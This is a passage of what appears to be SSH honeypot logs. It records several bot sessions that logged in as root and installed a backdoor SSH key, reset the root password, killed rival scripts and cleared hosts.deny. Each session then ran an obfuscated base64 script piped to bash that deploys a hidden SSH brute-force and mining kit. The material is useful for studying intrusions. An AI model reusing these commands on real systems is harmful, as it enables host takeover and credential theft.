7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T21:24:59.361060+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T21:24:59.361494+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T21:24:59.669484+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T21:24:59.670130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T21:24:59.979955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T21:24:59.980580+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T21:25:00.288514+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T21:25:01.759235+00:00","kind":"output","latency_ms":1469,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T21:25:02.067481+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T21:25:02.841965+00:00","kind":"output","latency_ms":773,"data":"24G"},{"seq":34,"at":"2026-08-24T21:25:03.932677+00:00","kind":"input","latency_ms":null,"data":"echo \"root 3edcVFR$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T21:25:04.241439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T21:25:04.700029+00:00","kind":"output","latency_ms":458,"data":""},{"seq":37,"at":"2026-08-24T21:25:05.302874+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T21:25:05.767936+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T21:25:06.076727+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T21:25:06.513559+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T21:25:06.822961+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T21:25:07.129457+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T21:25:07.936226+00:00","kind":"output","latency_ms":806,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T21:25:08.244997+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T21:25:08.759945+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T21:25:09.072152+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T21:25:09.569952+00:00","kind":"output","latency_ms":497,"data":""},{"seq":48,"at":"2026-08-24T21:25:17.340461+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T21:25:17.341014+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"3edcVFR$","method":"password","accepted":true,"tier":"other"}]} {"id":"67d5f6ce-be29-48d2-a412-7fdabda56506","name":"solemn-leafy-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.29.151","src_port":41442,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.160303+00:00","ended_at":"2026-08-24T19:09:01.247837+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4113,"events":[{"seq":1,"at":"2026-08-24T19:08:34.295055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:34.618406+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:38.198758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:38.199301+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:38.519350+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cAxnhPJRvgpe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T19:08:38.834078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T19:08:39.151520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:39.152231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:39.465183+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:40.195882+00:00","kind":"output","latency_ms":730,"data":" total used free shared buff/cache available\nMem: 15888 4120 7312 214 4456 11108"},{"seq":11,"at":"2026-08-24T19:08:40.519051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:41.078420+00:00","kind":"output","latency_ms":559,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:08:41.397074+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:41.397357+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:41.716769+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:41.717571+00:00","kind":"output","latency_ms":null,"data":" 19:08:41 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:42.033594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:42.034301+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:42.349723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:42.350364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:42.664364+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:42.665156+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:42 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:42.996000+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:42.996648+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:43.317767+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:43.318403+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:43.634356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:43.634778+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T19:08:43.953094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:45.104332+00:00","kind":"output","latency_ms":1150,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:45.423190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:46.195885+00:00","kind":"output","latency_ms":771,"data":"25G"},{"seq":33,"at":"2026-08-24T19:08:47.359067+00:00","kind":"input","latency_ms":null,"data":"echo \"root redhat1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:47.673142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:48.110015+00:00","kind":"output","latency_ms":436,"data":""},{"seq":36,"at":"2026-08-24T19:08:48.795878+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:49.364858+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:08:49.696041+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:50.489474+00:00","kind":"output","latency_ms":792,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:08:50.818307+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:51.132614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.605134+00:00","kind":"output","latency_ms":471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:08:51.922091+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.559430+00:00","kind":"output","latency_ms":636,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:08:52.896877+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.323000+00:00","kind":"output","latency_ms":425,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.162267+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.163277+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"redhat1","method":"password","accepted":true,"tier":"other"}]} {"id":"ff4b92c2-cab9-4837-b1f0-be48191f942b","name":"granite-wandering-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"5.3.154.197","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":409,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T04:39:09.822503+00:00","ended_at":"2026-08-24T04:39:09.946537+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3490,"events":[{"seq":1,"at":"2026-08-24T04:38:39.279791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T04:38:39.686734+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T04:38:44.743911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T04:38:44.745330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T04:38:45.154077+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O6YnMei1ECfH\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T04:38:45.562798+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T04:38:45.973279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T04:38:45.974641+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T04:38:46.006305+00:00","kind":"output","latency_ms":852,"data":""},{"seq":10,"at":"2026-08-24T04:38:46.381961+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T04:38:47.547686+00:00","kind":"output","latency_ms":1165,"data":" total used free shared buff/cache available\nMem: 15888 4321 7124 18 4443 11302"},{"seq":12,"at":"2026-08-24T04:38:47.959051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T04:38:48.851428+00:00","kind":"output","latency_ms":895,"data":"lrwxrwxrwx 1 root root 7 Mar 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":14,"at":"2026-08-24T04:38:49.261398+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T04:38:49.261867+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T04:38:49.679122+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T04:38:49.680042+00:00","kind":"output","latency_ms":null,"data":" 04:38:49 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T04:38:50.084105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T04:38:50.084573+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T04:38:50.490971+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T04:38:50.491786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T04:38:50.908699+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T04:38:50.909332+00:00","kind":"output","latency_ms":null,"data":"top - 04:38:50 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T04:38:51.309647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T04:38:51.310503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T04:38:51.718907+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T04:38:51.719807+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T04:38:52.128988+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T04:38:52.130161+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T04:38:52.538298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T04:38:53.094684+00:00","kind":"output","latency_ms":555,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T04:38:53.504910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T04:38:53.939762+00:00","kind":"output","latency_ms":434,"data":"24G"},{"seq":34,"at":"2026-08-24T04:38:55.384120+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123Admin\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T04:38:55.792866+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T04:38:56.213017+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-24T04:38:57.224299+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T04:38:57.645317+00:00","kind":"output","latency_ms":420,"data":"root 123Admin"},{"seq":39,"at":"2026-08-24T04:38:58.054135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T04:38:58.499444+00:00","kind":"output","latency_ms":444,"data":"root 123Admin"},{"seq":41,"at":"2026-08-24T04:38:58.908043+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T04:38:59.316812+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T04:38:59.887949+00:00","kind":"output","latency_ms":571,"data":"root 123Admin"},{"seq":44,"at":"2026-08-24T04:39:00.298002+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T04:39:01.008197+00:00","kind":"output","latency_ms":708,"data":"root 123Admin"},{"seq":46,"at":"2026-08-24T04:39:01.415932+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T04:39:01.839055+00:00","kind":"output","latency_ms":422,"data":""},{"seq":48,"at":"2026-08-24T04:39:09.823192+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T04:39:09.823906+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123Admin","method":"password","accepted":true,"tier":"other"}]} {"id":"139edc25-ff78-447f-ad87-3aa1c14591d2","name":"alpine-verdant-linnet","protocol":"ssh","channel_kind":"exec","src_ip":"223.17.1.118","src_port":47578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":692,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T03:17:41.660805+00:00","ended_at":"2026-08-24T03:17:41.876558+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6575,"events":[{"seq":1,"at":"2026-08-24T03:16:58.356771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T03:16:59.046453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T03:17:04.985852+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T03:17:04.986364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T03:17:05.677412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbZ35wrxEVUF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T03:17:06.352722+00:00","kind":"output","latency_ms":675,"data":""},{"seq":7,"at":"2026-08-24T03:17:06.367693+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T03:17:07.055960+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T03:17:07.056713+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T03:17:07.749648+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 